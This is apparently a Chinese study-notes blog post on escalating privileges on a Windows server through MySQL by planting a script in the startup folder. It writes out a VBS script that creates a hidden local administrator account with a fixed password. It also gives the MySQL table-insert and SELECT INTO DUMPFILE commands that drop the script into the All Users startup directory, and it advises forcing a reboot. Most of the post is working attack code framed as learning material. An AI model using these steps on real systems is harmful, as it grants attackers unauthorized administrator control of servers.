mysql数据库程序 启动项_Day4——提权学习之MySQL数据库（启动项提权）

0x00 原理

重启服务器会自动调用导入到 C:\Documents and Settings\All Users\「开始」菜单\程序\启动下的VBS脚本，并执行其中的用户添加及提权命令。

0x01 利用条件

两种情况下均可用启动项提权

1、C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录可读写

直接将 VBS 提权脚本上传到该目录下

2、以root账号登陆MySQL

0x02 提权关键

启动目录下的vbs脚本

0x03 提权步骤

一、上传VBS提权脚本到启动目录

VBS 提权脚本代码如下：

setwsnetwork=CreateObject(“WSCRIPT.NETWORK”)

os=”WinNT://”&wsnetwork.ComputerName

Set ob=GetObject(os)

Setoe=GetObject(os&”/Administrators,group”)

Set od=ob.Create(“user”,”quan”)

od.SetPassword “123456”

od.SetInfo

Set of=GetObject(os&“/quan”,user)

oe.add os&“/quan”

二、将数据库表中内容导入到启动目录

1、登录mysql

2、在test数据库下新建表

create table secist(cmd text);

3、插入vbs脚本

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user quan 123456 /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators quan /add“”,0)”);

4、导出vbs脚本到启动选项

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\quan.vbs”;

5、利用其他手段使服务器重启后就提权成功了

0x04 参考